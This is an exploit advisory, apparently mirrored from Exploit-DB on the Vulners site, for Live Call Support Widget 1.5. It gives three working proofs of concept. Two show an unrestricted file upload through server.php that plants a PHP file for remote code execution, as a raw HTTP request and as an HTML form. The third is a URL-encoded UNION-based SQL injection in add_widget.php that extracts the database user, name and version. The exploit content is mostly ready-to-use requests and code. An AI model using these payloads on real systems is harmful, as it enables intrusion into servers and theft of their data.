Vulners
Lucene search
Live Call Support Widget 1.5 - Remote Code Execution / SQL Injection
# Exploit Title: Live Call Support 1.5 - Remote Code Execution / SQL Injection
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://ranksol.com/
# Software Link: https://codecanyon.net/item/live-call-support-widget-software-online-calling-web-application/22532799
# Version: 1.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# POC:
# 1)
# http://localhost/[PATH]/server.php
#
#/[PATH]/server.php
#912 case "save_settings":{
#913 if($_FILES['call_widget_image']['name']!=''){
#914 $ext = getExtension($_FILES['call_widget_image']['name']);
#915 $fileName = uniqid().'.'.$ext;
#916 $tmpName = $_FILES['call_widget_image']['tmp_name'];
#917 $res = move_uploaded_file($tmpName,'images/'.$fileName);
#918 if($res){
#919 $fileName = $fileName;
#920 @unlink('images/'.$_REQUEST['hidden_call_widget_image']);
#921 }else{
#922 $fileName = $_REQUEST['hidden_call_widget_image'];
#923 }
#924 }else{
#925 $fileName = $_REQUEST['hidden_call_widget_image'];
#926 }
POST /[PATH]/server.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/octet-stream
Content-Length: 592
Cookie: PHPSESSID=5fd1dbc1e4c6b5876e1f44dbc157af9f
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-----------------------------307672102411665: undefined
Content-Disposition: form-data; name="call_widget_image"; filename="phpinfo.php"
<?php
phpinfo();
?>
-----------------------------307672102411665
Content-Disposition: form-data; name="hidden_call_widget_image"
5c3b2a6842c13.png
-----------------------------307672102411665
Content-Disposition: form-data; name="settings_id"
1
-----------------------------307672102411665
Content-Disposition: form-data; name="cmd"
save_settings
-----------------------------307672102411665--
HTTP/1.1 302 Found
Date: Sun, 13 Jan 2019 12:14:24 GMT
Server: Apache
X-Powered-By: PHP/7.1.25
Access-Control-Allow-Origin: *
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
location: settings.php
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
# POC:
# 2)
# http://localhost/[PATH]/server.php
#
<html>
<body>
<form action="http://localhost/[PATH]/server.php" method="post" enctype="multipart/form-data">
<div class="form-group">
<label>Call Widget Image</label>
<input name="call_widget_image" type="file">
<input name="hidden_call_widget_image" value="5c3b2a6842c13.png" type="hidden">
</div>
<div class="form-group">
<input name="settings_id" value="1" type="hidden">
<input name="cmd" value="save_settings" type="hidden">
<input value="Save" class="btn btn-primary" type="submit">
<input value="Back" class="btn btn-default" onclick="history.go(-1)" type="button">
</div>
</form>
</body>
</html>
# POC:
# 3)
# http://localhost/[PATH]/add_widget.php?wid=[SQL]
#
#04 if($_REQUEST['wid']!=''){
#05 $widget = getWidget($_REQUEST['wid']);
#06 $pageTitle = 'Edit Widget';
#07 }else{
#08 $pageTitle = 'Create Widget';
#09 }
GET /[PATH]/add_widget.php?wid=%2d%34%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%201,%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29,%56%45%52%53%49%4f%4e()%29%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=5fd1dbc1e4c6b5876e1f44dbc157af9f
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Sun, 13 Jan 2019 12:34:12 GMT
Server: Apache
X-Powered-By: PHP/7.1.25
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Jan 2019 00:00Current
7.4High risk
Vulners AI Score7.4